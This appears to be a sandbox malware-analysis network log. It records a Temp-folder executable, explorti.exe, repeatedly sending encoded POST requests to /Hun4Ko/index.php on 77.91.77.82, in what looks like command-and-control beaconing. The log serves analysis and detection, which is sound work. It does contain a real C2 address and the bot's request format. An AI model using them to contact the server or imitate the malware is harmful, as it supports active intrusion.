Jun 28, 2024 13:37:20.784328938 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:21.691319942 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Jun 28, 2024 13:37:21.693439007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.5	49775	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:21.810237885 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:22.605453014 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.5	49776	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:22.620462894 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:23.300189972 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	49777	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:23.419646025 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:24.088876963 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	49778	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:24.097553015 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:24.796447039 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	49779	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:24.923506021 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:25.619122982 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	49780	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:25.655209064 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:26.329070091 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	49781	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:26.451008081 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:27.124392033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.5	49782	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:27.137717009 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:27.826411009 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.5	49783	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:27.961062908 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:28.637860060 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.5	49785	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:28.764020920 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:29.451200008 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.5	49786	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:29.463139057 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:30.154032946 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.5	49787	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:30.279356003 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:30.953986883 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.5	49788	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:30.964330912 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:31.633697033 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.5	49789	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:31.747504950 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:32.416840076 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.5	49790	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:32.425458908 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:33.100354910 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.5	49791	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:33.223143101 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:33.916508913 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
71	192.168.2.5	49792	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:33.926783085 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:34.704852104 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
72	192.168.2.5	49793	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:34.825844049 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:35.492211103 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
73	192.168.2.5	49794	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:35.505593061 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:36.179553986 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
74	192.168.2.5	49795	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:36.309772968 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:37.022423029 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
75	192.168.2.5	49796	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:37.032110929 CEST	305	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 42 38 31 42 34 45 46 41 38 45 30 43 46 37 42 43 31 31 38 34 38 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 30 32 44 37 39 42 32 35 41 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58B81B4EFA8E0CF7BC11848B140BE1D46450FC9DDF642E3BDD70A77B02D79B25A82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Jun 28, 2024 13:37:37.713844061 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
76	192.168.2.5	49797	77.91.77.82	80	4228	C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Timestamp	Bytes transferred	Direction	Data
Jun 28, 2024 13:37:37.841842890 CEST	151	OUT	POST /Hun4Ko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 77.91.77.82 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Jun 28, 2024 13:37:38.508395910 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Fri, 28 Jun 2024 11:37:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0
